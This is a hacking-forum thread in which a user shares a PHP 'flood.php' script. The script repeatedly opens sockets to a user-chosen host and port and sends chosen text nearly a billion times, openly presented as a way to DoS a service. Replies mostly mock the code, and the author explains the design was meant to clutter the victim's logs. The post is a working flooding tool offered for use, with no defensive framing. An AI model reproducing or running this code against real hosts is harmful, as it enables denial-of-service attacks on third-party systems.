Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

[flood.php] - kinda like ddos

im mostly posting this to get my 50 posts so i can finally put posts in the market section and include urls in my posts but here it is

an old php script i had on my comp that sends raw text of your choice through a port on the remote ip, can be used to ddos one specific protocol if u know what port theyre useing for that protocol (usually the defaults, incomming http is 80 incomming ftp is 21 etc) on the remote host

Code
if (!$_REQUEST['targ']) {
echo "target will see you as: [".$_SERVER['SERVER_ADDR']."]<br/> and maybe: [".$_SERVER['SERVER_NAME']."]<br/>";
echo "<form method=POST ><input type=text name=targ value=tcp:// />:<input type=text name=port value=80 /><br/>";
echo "data to send through port:<br/><textarea name=datatosend >HaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHa</textarea><br/><input type=submit value=flood />";
} else {
if (!@$conn = fsockopen($_REQUEST['targ'],$_REQUEST['port'],$errno, $errstr, 2)) {
echo "either the target address doesn't exist or the selected port isn't open on it\r\n";
} else {
echo "flooding [ ".$_REQUEST['targ'].":".$_REQUEST['port']." ] ...<br/>\r\n";
for ($r = 1; $r < 999999999; $r++) {
if ($conn = fsockopen($_REQUEST['targ'],$_REQUEST['port'],$errno, $errstr, 2)) {
fwrite($conn,$_REQUEST['datatosend']."\r\n");
fclose($conn);
}
}
echo "done flooding.<br/>\r\n";
}
echo "<form method=REQUEST ><input type=submit value=NewFlood /><br/>\r\n";
}
This is a shitty share, especially since you're doing it just to get post. I've a bad news for you, you also need reputation ;)
my favourite thing is that you open a new socket each iteration.

what the fuck is this shit
(Apr 15, 2016 03:30 AM)ASDA Wrote:  my favourite thing is that you open a new socket each iteration.

i was thinking it would b more obnoxious to have tons of extra lines in their logs saying "new connection at port #nn at mm/dd/yyyy hh:mm" cuz some of the free webhosting services out there do let u pull up a log of connects made to unexpected ports like besides 80 and 21 and https port and ping port etc

but now that i think about it after u pointing that out it might not be a good idea cuz it might just get the ip of whatev free webhosting service youre useing to run this php script automatically blocked for a while depending on what youre useing it on but anyway atm im average with php and this was from years ago when i definitely was not so ofc its gonna have something inefficient in it
(Apr 15, 2016 03:30 AM)ASDA Wrote:  what the fuck is this shit

Wanted to post literally the same
First of all INDENTING!!!! The first row... PHP has isset() and empty() for a reason! Also if you keep opening connections to the target server over and over again the remote server (if configured correctly) will disable your IP after a few connections, because it will be detected as flooding. Also there are two methods to send a form: "GET" and "POST". Don't use $_REQUEST, unless information can come (and allowed to come) from both sources (GET and POST), don't be lazy! And as a sidenote: stay consistent regarding the formatting.
You see, Doctor, God didn't kill that little girl. Fate didn't butcher her and destiny didn't feed her to those dogs.
If God saw what any of us did that night he didn't seem to mind. From then on I knew... God doesn't make the world this way.
We do.
Haven't I seen you in the Batch Section? :D
Nice post tho, thanks :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Javascript]  by SteelBotNov 7, 2024 03:18 AM 8 725 Nov 7, 2024 03:18 AM
Last Post: zeosec
[PHP] by PloxinMay 23, 2016 04:56 AM 7 341 May 23, 2016 04:56 AM
Last Post: Ploxin
[PHP] by EeryEndymonMar 19, 2016 03:05 PM 17 742 Mar 19, 2016 03:05 PM
Last Post: labroca